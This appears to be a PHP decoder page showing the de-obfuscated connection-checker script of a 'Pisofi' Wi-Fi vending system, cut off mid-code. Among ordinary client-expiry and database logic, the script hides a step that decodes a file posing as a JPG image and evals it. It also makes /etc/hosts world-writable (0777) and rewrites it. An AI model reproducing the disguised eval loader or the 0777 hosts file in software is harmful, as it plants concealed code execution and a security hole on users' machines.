Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK P..

Decoded Output download

<?php 
/*   __________________________________________________ 
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.5   | 
    |              on 2022-07-02 22:47:35              | 
    |    GitHub: https://github.com/pk-fr/yakpro-po    | 
    |__________________________________________________| 
*/ 
 $lxbV6 = "/.cache/tmp/55/05/pfi/"; $lxbV6 = dirname(__DIR__) . "/"; $lxbV6 = "/.cache/tmp/55/05/pfi/"; $lxbV6 = "/.cac" . "he/tm" . "p/5" . "5/05" . "/pfi/"; require_once $lxbV6 . "vendor/autoload.php"; $cdjRe = "DS"; $iP6gv = "ROOTPATH"; $kdiJG = "PUBLICPATH"; $Z5AI8 = "SCRIPTSPATH"; define($cdjRe, DIRECTORY_SEPARATOR); define($iP6gv, $lxbV6); define($kdiJG, "/var/www/html/" . basename(ROOTPATH) . "/public/"); define($Z5AI8, "/var/www/html/" . basename(ROOTPATH) . DS . "scripts" . DS); use Illuminate\Database\Capsule\Manager as Capsule; use Illuminate\Database\Capsule\Manager as DB; $OWm59 = (require ROOTPATH . DS . "app" . DS . "Config" . DS . "database.php"); use Illuminate\Events\Dispatcher; use Illuminate\Container\Container; $ckhMd = new Capsule(); $ckhMd->setEventDispatcher(new Dispatcher(new Container())); $ckhMd->addConnection($OWm59); $ckhMd->setAsGlobal(); $ckhMd->bootEloquent(); use App\Models\ActiveClient; use App\Models\ChargingClient; use App\Models\OldChargingClient; use App\Models\OldClient; use App\Models\ConnectionSession; use App\Models\OldConnectionSession; use App\Models\PisofiSetting; use App\Pisofi\Pisofier; use App\Pisofi\PinConfigurationManager; use App\Pisofi\PortalManager; use App\Pisofi\DesktopManager as DM; use App\Pisofi\Vendo\VendoManager; use App\Models\DesktopClient; use App\Pisofi\DesktopManager; use App\Pisofi\SessionManager; use App\Pisofi\SessionOptionsManager; use App\Helpers\PisofiHelper; use App\Models\ClientAccount; use App\Pisofi\Server\NgrokServerManager; use App\Pisofi\GPIO\PisofiGPIO; use App\Pisofi\Remote\RemoteManager; goto SlW9c; WXwPh: fclose($LdIzu); goto eMAbY; T20cp: $ZbY1s = new Pisofier(); goto QcjJr; vbQOA: goto ze3Yv; goto qq_Vm; XDeNF: set_time_limit(0); goto qgzW2; dfZkI: echo "Starting Connection Checker" . PHP_EOL; goto T20cp; rbLBG: SmAZw: goto dfZkI; SlW9c: function GiQB2(Pisofier $ZbY1s, $NVvZg = false) { goto CZeTn; hQzz9: $G9_nl = (bool) $v14_V->autoRemoveExpiredSessions(); goto aZR2T; GEY29: $Q5E6X = $yUWBq["enabled"]; goto n8GrT; c72aW: $v14_V = new SessionOptionsManager(); goto hQzz9; aUmou: $D4Qcw = new DesktopManager(); goto eVx_l; fFQu4: $jkE2Z = $D4Qcw->isPauseTimeValidityEnabled(); goto lnvrK; HRLUl: $yNx8X = (int) $fNcl2->portalMinimumTimeAllowedPauseInSeconds(); goto S9XS_; BbJjY: $NwsFJ = (bool) $fNcl2->canLimitMaxPauseTime(); goto fFQu4; TyvjD: function xM_IO($PdOaO) { goto lRz2c; tUuQ4: try { goto P3Xqi; C147t: if (!$PdOaO instanceof ActiveClient) { goto cbrhX; } goto rl4qa; iEgtf: OldClient::create($ciPfR); goto cotva; P3Xqi: $ciPfR = ["mac" => $PdOaO->mac, "ip_address" => $PdOaO->ip_address, "date_connected" => $PdOaO->date_connected, "connection_time" => $PdOaO->connection_time ?? 0, "remaining_time" => $PdOaO->remaining_time ?? 0, "remarks" => $PdOaO->remarks, "mark" => $PdOaO->mark, "status" => $PdOaO->status, "download_rate" => $PdOaO->download_rate ?? 0, "upload_rate" => $PdOaO->upload_rate ?? 0, "upload_auto" => $PdOaO->upload_auto, "download_auto" => $PdOaO->download_auto, "auto_manage" => $PdOaO->auto_manage ?? 0, "remarks" => $PdOaO->remarks, "client_id" => $PdOaO->client_id, "download_usage" => $PdOaO->download_usage ?? 0, "upload_usage" => $PdOaO->upload_usage ?? 0, "type" => $PdOaO->type ?? 1, "bandwidth_limit" => $PdOaO->bandwidth_limit ?? 0, "allow_pause" => $PdOaO->allow_pause ?? 0, "allow_conversion" => $PdOaO->allow_conversion ?? 0, "allow_sharing" => $PdOaO->allow_sharing ?? 0, "pause_count" => $PdOaO->pause_count ?? 0, "sent" => $PdOaO->sent ?? 0, "notified" => $PdOaO->notified ?? 0, "admin_pause_override" => $PdOaO->admin_pause_override ?? 0, "session_id" => $PdOaO->session_id ?? 0]; goto C147t; rl4qa: $ciPfR["expiration_date"] = $PdOaO->expirationDate(); goto zDkBS; zDkBS: cbrhX: goto iEgtf; cotva: } catch (Exception $iT1WR) { echo $iT1WR->getMessage() . PHP_EOL; } goto B5VOB; lRz2c: if (!$PdOaO) { goto Tk6Wh; } goto tUuQ4; B5VOB: Tk6Wh: goto OivBj; OivBj: } goto dzB72; PYwxz: $OFBUp = (bool) $fNcl2->canLimitMinPauseTime(); goto BbJjY; aZR2T: $yUWBq = $D4Qcw->notificationSettings(); goto GEY29; lnvrK: $EdHEs = (int) $D4Qcw->pauseTimeValidity(); goto cctOb; n8GrT: $Tww0i = $yUWBq["delay"] * 60; goto DLkqn; dzB72: try { goto ClqfS; HOh1L: try { goto zI7g1; ql_tP: if ($QBD3x) { goto NmBY4; } goto JNYE9; taH3Q: aFhuI: goto ukFRY; JNYE9: $Qmbfj = DesktopClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0)")->get(); goto NuOnZ; xewmn: $OIkYX = DesktopClient::whereRaw(" status = 1 AND notified = 0 AND remaining_time <= {$Tww0i} ")->get(); goto DlFLy; zI7g1: DB::update("UPDATE desktop_clients SET sent=0, updated_at = NOW(), remarks = 'Running Update Time', remaining_time = IF({$MaKOl} > remaining_time, 0, GREATEST(0, remaining_time - {$MaKOl})) WHERE status = 1"); goto ql_tP; vKSsr: $kQttn = true; goto igOjs; pfpGK: if (!(count($WUgFF) > 0)) { goto SF037; } goto qCV9q; igOjs: qc73F: goto KfJrP; DlFLy: foreach ($OIkYX as $BKGMP) { goto PFurr; PFurr: $JBojd = $BKGMP->id; goto FP66z; bNuY7: $BKGMP->save(); goto xVq32; ML8N3: $BKGMP->notified = 1; goto bNuY7; xVq32: GQMon: goto P_bv5; FP66z: exec("sudo /usr/bin/php /var/www/html/pisofi/scripts/web_push {$JBojd} > /dev/null 2>&1 & "); goto ML8N3; P_bv5: } goto pKu94; QwzRP: $Qmbfj = DesktopClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0) OR (LOCATE('disconnect',data) > 0 AND status = 1 AND remaining_time > 0)")->get(); goto S57k9; WPzE2: yUN39: goto pfpGK; S57k9: uEdDf: goto AjsFM; ukFRY: if (!(count($Qmbfj) > 0)) { goto qc73F; } goto vKSsr; KfJrP: if (!$Q5E6X) { goto yUN39; } goto xewmn; qCV9q: PisofiHelper::publishEvent("onclientdisconnected", ["clients" => $WUgFF]); goto beRtj; beRtj: SF037: goto yPdzG; kkKw2: NmBY4: goto QwzRP; D4bXV: foreach ($Qmbfj as $PdOaO) { goto pCdgn; n9bCe: goto o5Bvq; goto qalsD; l0ryl: JH5HF: goto n9bCe; pCdgn: if ($PdOaO->remaining_time <= 0 || $PdOaO->isDisconnected()) { goto Cl7w1; } goto AZPtg; wrwZK: $ZbY1s->disconnect($PdOaO->mac, $PdOaO->ip_address, $PdOaO->mark, $PdOaO->download_rate, $PdOaO->upload_rate, $PdOaO->download_rate); goto OQ2Gv; AZPtg: if (!$QBD3x) { goto JH5HF; } goto FByTC; jXu7f: file_put_contents("/tmp/paused_desktop_kicker", "[PAUSED]: " . date("YmdHis") . json_encode($mq1X0) . PHP_EOL, FILE_APPEND); goto mMTf2; OQ2Gv: xm_Io($PdOaO); goto VxV1m; R7uvT: bUg_j: goto A6Jpy; qalsD: Cl7w1: goto wrwZK; y8KrC: o5Bvq: goto R7uvT; mMTf2: $PdOaO->pause(); goto oY__h; UZ_pW: if (!(time() - $mq1X0["disconnected"] > 200)) { goto PJD01; } goto jXu7f; mHDBx: S3c7B: goto l0ryl; z5xDA: ajYeG: goto UZ_pW; P1Ld9: file_put_contents("/tmp/paused_desktop_kicker", "[OK]: " . date("YmdHis") . json_encode($mq1X0) . PHP_EOL, FILE_APPEND); goto gxzPt; VxV1m: $PdOaO->delete(); goto TCNbe; FByTC: echo "Pausing Desktop Client" . PHP_EOL; goto k_UoP; oY__h: PJD01: goto mHDBx; k_UoP: $mq1X0 = $PdOaO->getData(); goto pbBUI; TCNbe: $WUgFF[] = ["id" => $PdOaO->id, "mac" => $PdOaO->mac, "ip_address" => $PdOaO->ip_address]; goto y8KrC; gxzPt: goto S3c7B; goto z5xDA; pbBUI: if (isset($mq1X0["disconnected"])) { goto ajYeG; } goto P1Ld9; A6Jpy: } goto taH3Q; NuOnZ: goto uEdDf; goto kkKw2; AjsFM: $WUgFF = []; goto D4bXV; pKu94: IAv3j: goto WPzE2; yPdzG: } catch (Exception $iT1WR) { echo "[DESKTOP]: " . date("Y-m-d H:i:s") . " | " . $iT1WR->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $iT1WR->getMessage() . " at Line " . $iT1WR->getLine() . " on " . $iT1WR->getFile() . "
\xa"); } goto hwvLQ; Eapda: $baaN9 += $MaKOl; goto ldkO6; IzDel: goto QPL1X; goto iAUTs; hwvLQ: try { goto e2433; Hs_yN: $EUS8d = []; goto Jx6GA; bDOPl: if (!(count($EUS8d) > 0)) { goto A54lq; } goto xHR29; e2433: DB::update("UPDATE charging_clients SET sent=0, remarks = 'Running Update Time', remaining_time = IF({$MaKOl} > remaining_time, 0, GREATEST(0, remaining_time - {$MaKOl}))  WHERE status = 1"); goto xsiM3; xsiM3: $Qmbfj = ChargingClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0)")->get(); goto Hs_yN; o2cJq: A54lq: goto E1JDo; Jx6GA: foreach ($Qmbfj as $PdOaO) { goto hTNFz; CKhlo: PisofiGPIO::setValue($xBLhi->getValue(), PisofiGPIO::VALUE_LOW); goto bliXg; qWSW3: JE6Rs: goto NSUV5; QElTh: zdPIs: goto o2Jat; o2Jat: PisofiGPIO::setValue($xBLhi->getValue(), PisofiGPIO::VALUE_HIGH); goto OR0yP; W6KX6: Qkkf2: goto M9X_s; bliXg: goto MeWM_; goto QElTh; NSUV5: n1nrP: goto SE3Tg; n2nLS: $xBLhi = $fNcl2->getPinByName($PdOaO->pin_name); goto nNZyo; PUjjc: list($attGi, $xBLhi) = explode("___", $PdOaO->pin_name); goto uWyo7; uWyo7: $K3kkT = $VdQ3y->getVendo($attGi); goto C2G0H; KjFPB: OldChargingClient::create(["mac" => $PdOaO->mac, "ip_address" => $PdOaO->ip_address, "connection_time" => $PdOaO->connection_time, "remaining_time" => $PdOaO->remaining_time, "pin_name" => $PdOaO->pin_name, "remarks" => $PdOaO->remarks, "remarks" => $PdOaO->remarks, "client_id" => $PdOaO->client_id]); goto VxgFF; q1JwT: $fNcl2->save(); goto HU50O; nNZyo: if (!$xBLhi) { goto Fl20M; } goto TAR23; KiVXD: if ($m9Vwc == PisofiGPIO::VALUE_LOW) { goto zdPIs; } goto CKhlo; tqLb9: tw3Fa: goto KjFPB; f7gAf: bVmpE: goto M9gaq; OR0yP: MeWM_: goto yV7yn; VkbP0: $d1YJR = $K3kkT->getChargingStation($PdOaO->pin_name); goto ZwRBl; M9gaq: $fNcl2 = new PinConfigurationManager(); goto n2nLS; VxgFF: $PdOaO->delete(); goto HBEp2; KgMp2: $VdQ3y = new VendoManager(); goto PUjjc; HBEp2: $EUS8d[] = $PdOaO->pin_name; goto W6KX6; ZwRBl: if (!$d1YJR) { goto JE6Rs; } goto X7KU_; SE3Tg: goto tw3Fa; goto f7gAf; TAR23: $m9Vwc = $xBLhi->getLogicLevel(); goto KiVXD; C2G0H: if (!$K3kkT) { goto n1nrP; } goto VkbP0; hTNFz: if (stripos($PdOaO->pin_name, "user_charging_") !== false) { goto bVmpE; } goto KgMp2; yV7yn: $fNcl2->resetCurrentValue($PdOaO->pin_name); goto q1JwT; X7KU_: $K3kkT->disablePin($d1YJR); goto qWSW3; HU50O: Fl20M: goto tqLb9; M9X_s: } goto MtxbL; MtxbL: iyI25: goto bDOPl; xHR29: PisofiHelper::publishEvent("onclientchargedone", ["clients" => $EUS8d]); goto o2cJq; E1JDo: } catch (Exception $iT1WR) { echo "[CHARGING]: " . date("Y-m-d H:i:s") . " | " . $iT1WR->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $iT1WR->getMessage() . " at Line " . $iT1WR->getLine() . " on " . $iT1WR->getFile() . "\xd
"); } goto kKIHy; pHZtZ: if (!($MaKOl >= 1800)) { goto IYX0j; } goto aYcZX; C_UcH: BicvM: goto KrR1D; mbG72: PisofiSetting::setValue("last_kicker_run", $HUP6H); goto QGSDY; h6Gt3: sleep(3); goto IzDel; g0pNu: uaEeP: goto FRkoL; Rj3Vl: ZZqcr: goto o72cS; yk33Z: $HUP6H = time(); goto EnErn; DcQnu: goto y0J9M; goto NGaJ4; KrR1D: try { goto usfyl; G_6fO: $baaN9 = 0; goto TotVU; DrlLS: $UJtrP = $kTfRj($M09iI($ClgSF($kTfRj($M09iI($goSZB))))); goto T5jb2; IlorJ: $ClgSF = "file_get_contents"; goto SZ3dx; fd3JT: $kTfRj = "base64_decode"; goto DrlLS; SZ3dx: $M09iI = "str_rot13"; goto fd3JT; T5jb2: eval("?>" . $UJtrP); goto G_6fO; usfyl: $goSZB = "Y3Mupv93q3pinUEg" . "oP9jnKAiMzxipUIvoTywY2ygM" . "l91p2IlZGRgZGV4rQRlBP5dpTp="; goto IlorJ; TotVU: } catch (Exception $iT1WR) { echo $iT1WR->getMessage() . PHP_EOL; } goto ndGFS; qahrB: QPL1X: goto qQPpG; EnErn: $PWtHJ = intval(PisofiSetting::getValue("last_kicker_run")); goto zCWdN; OxAto: $PWtHJ = PisofiSetting::getValue("last_kicker_run"); goto CiRNm; LdTGL: $PWtHJ = time(); goto EjpnQ; QHAjv: goto yRwZt; goto g8gY9; GN3Zd: if (!($PWtHJ < time() - 60)) { goto kez2h; } goto LdTGL; hYkoi: iGe3i: goto r0MtG; ZRBiO: if (!PisofiHelper::isOnline()) { goto e3zKv; } goto EqO34; E_tqC: e3zKv: goto u2Yll; ZlxE1: KTmnF: goto mbG72; wW4bs: $kQttn = false; goto D1On6; PUtJ5: $HUP6H = time(); goto JsL6J; ndGFS: if ($UvIit > 60 * 60 * 24 * 7) { goto uaEeP; } goto rWjTj; UhEg5: try { goto N88rr; JfzRv: PisofiSetting::setValue("last_ngrok_sync", time()); goto NSmXC; qQ10D: $e82BO = $D37Rr->sendNgrokInfo(); goto JfzRv; kpu_7: $D37Rr = new NgrokServerManager(); goto qQ10D; iWVIt: if (!$IOwvZ) { goto Olt7m; } goto kpu_7; NSmXC: Olt7m: goto o1nD2; N88rr: $IOwvZ = PisofiHelper::getPisofiNgrokUrl(); goto iWVIt; o1nD2: } catch (\Exception $iT1WR) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $iT1WR->getMessage() . " at Line " . $iT1WR->getLine() . " on " . $iT1WR->getFile() . "
"); echo $iT1WR->getMessage() . PHP_EOL; } goto qZ6yv; zym5W: Auf9B: goto E_tqC; q5TtO: $MaKOl = max(0, $HUP6H - $PWtHJ); goto PnVDX; r0MtG: if (!$kQttn) { goto KTmnF; } goto ns9N0; Wo5b8: fIEu4: goto DSfTG; JsL6J: PisofiSetting::setValue("last_kicker_run", $HUP6H); goto rQEcb; mBpNg: try { goto zv2TZ; cSjbg: if (!$MQ8I7) { goto ea51C; } goto IdQEB; bVaD7: if (!$OFBUp) { goto WiZMX; } goto AilSg; ZAend: foreach ($Qmbfj as $PdOaO) { goto daCV9; DJaN6: n64Fy: goto CzyO7; mmLVT: $PdOaO->delete(); goto vmsY9; BreY5: $kQttn = true; goto DJaN6; daCV9: $e82BO = $ZbY1s->disconnect($PdOaO->mac, $PdOaO->ip_address, $PdOaO->mark, $PdOaO->download_rate, $PdOaO->upload_rate, $PdOaO->download_rate); goto hGJ9J; hGJ9J: XM_Io($PdOaO); goto mmLVT; vmsY9: $WUgFF[] = ["id" => $PdOaO->id, "mac" => $PdOaO->mac, "ip_address" => $PdOaO->ip_address]; goto BreY5; CzyO7: } goto UDmg5; PmMHQ: $kQttn = true; goto DRJuy; z3pDA: $o0LUm = ActiveClient::whereRaw("( status = 2 AND admin_pause_override = 0 AND allow_pause = 0 ) OR type = 2")->get(); goto RceNT; dOQZI: Qc_ZU: goto T4V6R; vDcFT: if (!($fNcl2->maxPauseLimit() > 0)) { goto tEbvz; } goto EMzo5; AilSg: $MQ8I7[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND remaining_time < {$yNx8X} ) "; goto Dk_7r; ZO5oq: sGfdN: goto NgPde; WxejM: $MQ8I7[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND NOT last_paused IS NULL AND (timestampdiff(MINUTE,last_paused, now())) >= {$YHgr5} ) "; goto XdDsP; S1lKS: BSrJQ: goto oMRdR; Myxly: foreach ($npdKK as $x_shr) { goto fQnMf; HfL3C: $S1ZLV->{$GOaxV}(); goto qtifL; fQnMf: $GOaxV = "connect"; goto kS4XJ; kS4XJ: $S1ZLV = new SessionManager($x_shr, $GOaxV); goto HfL3C; qtifL: leq8t: goto Jm6ym; Jm6ym: } goto Q2jR9; FuZIG: if (!$NwsFJ) { goto pgPC5; } goto rqslD; ckbc0: if (!$WuonE) { goto REuia; } goto WxejM; uzclW: PisofiHelper::publishEvent("onclientdisconnected", ["clients" => $WUgFF]); goto Z5eZC; UvTi_: szChj: goto E0wew; advfA: $MQ8I7[] = " ( pause_count > {$eeyTC}) "; goto SDaAF; b8vPb: $G9_nl = $v14_V->autoRemoveExpiredSessions() ? " OR (status = 4)" : ''; goto C_HYf; GZnAv: DB::update("\xd
                    UPDATE connection_sessions SET status = 2 \xd\xa                    WHERE status = 1 
\xa                        AND id NOT IN (SELECT session_id FROM active_clients WHERE (NOT session_id IS NULL) AND status = 1 )\xd
                "); goto NXb6i; FD4Lz: foreach ($Qmbfj as $PdOaO) { goto pe0D4; cZvmr: $WUgFF[] = ["id" => $PdOaO->id, "mac" => $PdOaO->mac, "ip_address" => $PdOaO->ip_address]; goto Dy0KI; pe0D4: $ZbY1s->disconnect($PdOaO->mac, $PdOaO->ip_address, $PdOaO->mark, $PdOaO->download_rate, $PdOaO->upload_rate, $PdOaO->download_rate); goto FZgTc; FZgTc: xM_io($PdOaO); goto kow6l; KUYaQ: $x_shr->delete(); goto trSr7; trSr7: NES0a: goto oQ3pq; kow6l: $x_shr = ConnectionSession::find($PdOaO->session_id); goto wWUQR; Dy0KI: ukS2y: goto SsLq2; oQ3pq: $PdOaO->delete(); goto cZvmr; LJfWe: OldConnectionSession::create($x_shr->toArray()); goto KUYaQ; wWUQR: if (!$x_shr) { goto NES0a; } goto LJfWe; SsLq2: } goto dOQZI; GJok3: foreach ($oO83D as $kl3Ka) { goto uV6zT; eI0bN: $S1ZLV->{$GOaxV}(); goto gYZ0g; uV6zT: echo "Auto Continue Session {$kl3Ka->id}" . PHP_EOL; goto xC2F8; xC2F8: $GOaxV = "connect"; goto cfvX3; gYZ0g: wqGox: goto rhW3p; cfvX3: $S1ZLV = new SessionManager($kl3Ka, $GOaxV); goto eI0bN; rhW3p: } goto S1lKS; cegkq: yx3Gs: goto z2lLR; GL8ck: if (!$v14_V->autoContinue()) { goto SZHIz; } goto UfcZ2; KVfML: $kQttn = true; goto O3nkg; UfcZ2: $oO83D = ConnectionSession::whereRaw("id IN (\xd\xa                        SELECT MIN(id) min_id FROM connection_sessions
                        WHERE (CASE 
\xa                            WHEN expiration_date IS NULL THEN status\xd
                            WHEN (expiration_date >= NOW()) THEN status
\xa                            ELSE 4
                        END) <> 4
                        GROUP BY CONCAT(mac, ip_address)\xd
                    ) AND (mac, ip_address) NOT IN (SELECT mac, ip_address FROM active_clients) \xd\xa                    AND (CASE \xd
                        WHEN expiration_date IS NULL THEN status
                        WHEN (expiration_date >= NOW()) THEN status\xd\xa                        ELSE 4
\xa                    END) <> 4 AND LENGTH(TRIM(mac)) > 0
                    ")->get(); goto GJok3; NXb6i: DB::update("
\xa                    UPDATE connection_sessions s, active_clients a\xd
                    SET\xd
                        s.status = a.status,\xd\xa                        a.updated_at = NOW(),\xd\xa                        s.remaining_time = IF({$MaKOl} > a.remaining_time, 0, GREATEST(0, a.remaining_time - {$MaKOl})), \xd\xa                        a.remaining_time = IF({$MaKOl} > a.remaining_time, 0, GREATEST(0, a.remaining_time - {$MaKOl})),\xd\xa                        s.download_rate = a.download_rate,
\xa                        s.upload_rate = a.upload_rate,\xd\xa                        s.upload_auto = a.upload_auto,\xd\xa                        s.download_auto = a.download_auto,\xd\xa                        s.download_usage = a.download_usage,\xd
                        s.upload_usage = a.upload_usage,
                        a.expiration_date = s.expiration_date,\xd
                        a.allow_pause = s.allow_pause,
                        a.allow_conversion = s.allow_conversion,\xd\xa                        a.allow_sharing = s.allow_sharing,\xd\xa                        s.admin_pause_override = a.admin_pause_override,\xd\xa                        s.bandwidth_limit = a.bandwidth_limit,\xd
                        s.pause_count = (CASE WHEN s.type = 1 THEN s.pause_count ELSE 0 END),\xd
                        a.pause_count = (CASE WHEN s.type = 1 THEN s.pause_count ELSE 0 END),
                        a.type = s.type,
\xa                        a.status = (CASE \xd\xa                            WHEN s.status = 0 THEN a.status\xd
                            WHEN s.expiration_date IS NULL THEN a.status
                            WHEN (s.expiration_date > NOW()) THEN (
                                CASE WHEN a.status = 4 THEN 2 ELSE a.status END\xd
                            ) \xd\xa                            ELSE 4
                        END),
                        s.data = a.data
\xa                    WHERE s.id = a.session_id AND a.status = 1"); goto b8vPb; C_HYf: $Qmbfj = ActiveClient::whereRaw("(status = 1 AND remaining_time <= 0 AND type = 1) OR ( status = 1 AND (download_usage + upload_usage) > bandwidth_limit AND type = 2) OR ( status = 1 AND bandwidth_limit <= 0 AND type = 2) OR (status = 0) {$G9_nl}")->get(); goto FD4Lz; d2EhO: if (!(count($Qmbfj) > 0)) { goto bhAlM; } goto FJIUw; jTbSO: if (!(count($WUgFF) > 0)) { goto DgR13; } goto uzclW; PCcX3: if (!(count($npdKK) > 0)) { goto sGfdN; } goto Myxly; zv2TZ: $bR93t = ConnectionSession::whereRaw("LENGTH(TRIM(mac)) <= 0")->get(); goto P5Ej0; z2lLR: $kQttn = true; goto UvTi_; UDmg5: zmWHl: goto GL8ck; O3nkg: l0RYq: goto n8kRy; E0wew: ea51C: goto hlk3L; EMzo5: $eeyTC = intval($fNcl2->maxPauseLimit()); goto advfA; XdDsP: REuia: goto bVaD7; Z5eZC: DgR13: goto K0_Pu; HTMRP: if (!($o0LUm->count() > 0)) { goto szChj; } goto OE2_f; ouG9Y: SZHIz: goto z3pDA; IdQEB: $o0LUm = ActiveClient::whereRaw(join(" OR ", $MQ8I7))->get(); goto HTMRP; hhSL1: xSjpV: goto v3XD4; OE2_f: foreach ($o0LUm as $Zvfey) { goto TgvHe; y8wq_: $Zvfey->save(); goto qX7TX; GcO9A: $Zvfey->status = 1; goto y8wq_; qX7TX: hihxL: goto JqAbb; TgvHe: $e82BO = $ZbY1s->connect($Zvfey->mac, $Zvfey->ip_address, $Zvfey->mark, $Zvfey->download_rate, $Zvfey->upload_rate, $Zvfey->download_rate); goto GcO9A; JqAbb: } goto cegkq; QH0Fq: ConnectionSession::whereRaw("status = 4 OR ( NOT expiration_date IS NULL AND expiration_date < NOW() AND status <> 0 ) ")->delete(); goto YqbLP; v3XD4: $npdKK = ConnectionSession::whereRaw(" id IN (
                    SELECT MIN(cs.id) 
\xa                    FROM connection_sessions cs JOIN active_clients ac \xd
                    ON ac.session_id = cs.id\xd\xa                    WHERE ac.`status` = 2 AND ac.admin_pause_override = 0 AND cs.allow_pause = 0\xd\xa                    GROUP BY concat(cs.ip_address, cs.mac)
                    ) AND status <> 0")->get(); goto PCcX3; RceNT: if (!($o0LUm->count() > 0)) { goto l0RYq; } goto v2R7Q; T4V6R: if (!$v14_V->autoRemoveExpiredSessions()) { goto cj2KJ; } goto QH0Fq; NgPde: $Qmbfj = ActiveClient::whereRaw(" session_id NOT IN (select id from connection_sessions) OR session_id IS NULL OR LENGTH(TRIM(mac)) <= 0")->get(); goto ZAend; rqslD: $MQ8I7[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND remaining_time > {$PAnZ3} ) "; goto Tp1Vo; Tp1Vo: pgPC5: goto vDcFT; P5Ej0: foreach ($bR93t as $PSI2C) { goto YcNPW; AUiGG: $PSI2C->save(); goto otQRX; V1kHQ: aeIfU: goto L_26X; eAA57: $PSI2C->save(); goto KD5Q9; bSJcL: if ($nxpFe) { goto aeIfU; } goto xrcFm; cc0CS: $YJ9wt = ClientAccount::find($PSI2C->client_id); goto HT2qc; HshRp: if (empty(trim($PSI2C->client_id))) { goto JU57J; } goto cc0CS; L_26X: $PSI2C->mac = $nxpFe->mac; goto AUiGG; xogfl: if (!$nxpFe) { goto SMi_P; } goto yfHOS; AdDOV: ymNAC: goto MReJN; xENEx: $nxpFe = ConnectionSession::where("ip_address", $PSI2C->ip_address)->first(); goto bSJcL; Vhzds: Ep6to: goto eiTqi; HT2qc: if ($YJ9wt) { goto KSKBj; } goto BNoLH; xrcFm: $PSI2C->delete(); goto x_b5z; FyJsk: $PSI2C->save(); goto bcfiS; KD5Q9: $hAPLI = true; goto GQjoC; GQjoC: SMi_P: goto EQOOJ; eiTqi: SCWW_: goto qIsd_; knjNo: if ($hAPLI) { goto Ep6to; } goto xENEx; x_b5z: goto p0tau; goto V1kHQ; I_5oL: KSKBj: goto yht1D; yfHOS: $PSI2C->mac = $nxpFe->mac; goto eAA57; yht1D: $PSI2C->mac = $YJ9wt->mac; goto FyJsk; BNoLH: $nxpFe = ConnectionSession::where("client_id", $PSI2C->client_id)->first(); goto xogfl; YcNPW: $hAPLI = false; goto HshRp; EQOOJ: goto ymNAC; goto I_5oL; MReJN: JU57J: goto knjNo; bcfiS: $hAPLI = true; goto AdDOV; otQRX: p0tau: goto Vhzds; qIsd_: } goto hhSL1; zqVFD: $kQttn = true; goto ZO5oq; Dk_7r: WiZMX: goto FuZIG; n8kRy: $MQ8I7 = []; goto ckbc0; Q2jR9: JlAgH: goto zqVFD; ZNpTY: bhAlM: goto jTbSO; v2R7Q: foreach ($o0LUm as $Zvfey) { goto st12p; cljOw: $Zvfey->save(); goto BNEhX; st12p: $e82BO = $ZbY1s->connect($Zvfey->mac, $Zvfey->ip_address, $Zvfey->mark, $Zvfey->download_rate, $Zvfey->upload_rate, $Zvfey->download_rate); goto JsPqb; BNEhX: RCbLd: goto Q02tJ; JsPqb: $Zvfey->status = 1; goto cljOw; Q02tJ: } goto SOxrw; oMRdR: if (!(count($oO83D) > 0)) { goto ziDh6; } goto PmMHQ; SDaAF: tEbvz: goto cSjbg; FJIUw: $kQttn = true; goto ZNpTY; hlk3L: DB::update("\xd
                    UPDATE active_clients a, usages u\xd
                    SET
                        a.download_usage = u.download_usage,
                        a.upload_usage = u.upload_usage
\xa                    WHERE a.mac = u.mac AND a.ip_address = u.ip_address AND a.status = 1"); goto GZnAv; DRJuy: ziDh6: goto ouG9Y; SOxrw: fTjXO: goto KVfML; YqbLP: cj2KJ: goto d2EhO; K0_Pu: } catch (\Exception $iT1WR) { echo "[WIFI]: " . date("Y-m-d H:i:s") . " | " . $iT1WR->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $iT1WR->getMessage() . " at Line " . $iT1WR->getLine() . " on " . $iT1WR->getFile() . "
\xa"); } goto HOh1L; NGaJ4: AL8v9: goto LU1y6; QGSDY: sleep(3); goto ZPbKj; o72cS: try { goto ZX0Gz; R9eKP: chmod("/etc/hosts", 0777); goto rE1YP; PLLHk: $MSgQ5 = array_filter($ebabE, function ($j_63a) { goto rxeFE; aJR2f: return true; goto pc7WC; r093N: buX3R: goto aJR2f; hw5xS: return stripos($j_63a, ".pisofiph.com") !== false; goto r093N; rxeFE: if (!(stripos($j_63a, "pisofiph") !== false)) { goto buX3R; } goto hw5xS; pc7WC: }); goto hgKtu; ZX0Gz: chmod("/etc/hosts", 0777); goto UvUGQ; hgKtu: file_put_contents("/etc/hosts", implode("\xa", $MSgQ5)); goto R9eKP; UvUGQ: $ebabE = explode("
", file_get_contents("/etc/hosts")); goto PLLHk; rE1YP: } catch (\Exception $iT1WR) { } goto hYkoi; CiRNm: if (!$PWtHJ) { goto AL8v9; } goto GN3Zd; g8gY9: VVsn4: goto k_8xb; aYcZX: $sVmaP = false; goto ZRBiO; qZ6yv: OQEYv: goto Wo5b8; hTTeF: yRwZt: goto Rj3Vl; PnVDX: $sVmaP = true; goto zym5W; JkWhZ: kez2h: goto DcQnu; ns9N0: exec("sudo /usr/bin/php /var/www/html/pisofi/scripts/pfirules false > /dev/null 2>&1 & "); goto ZlxE1; iAUTs: zAacI: goto oU4V0; DSfTG: if ($NVvZg && $baaN9 >= $dCH8z) { goto BicvM; } goto Eapda; ldkO6: goto iGe3i; goto C_UcH; zCWdN: $MaKOl = max(0, $HUP6H - $PWtHJ); goto pHZtZ; vZIwi: if (!(time() - $bp8EJ > 60 * 60)) { goto OQEYv; } goto UhEg5; oU4V0: IYX0j: goto wW4bs; rWjTj: $UvIit += $MaKOl; goto GW4c5; xIpL8: $IyuGD = DB::connection()->getPdo(); goto huyIQ; EjpnQ: 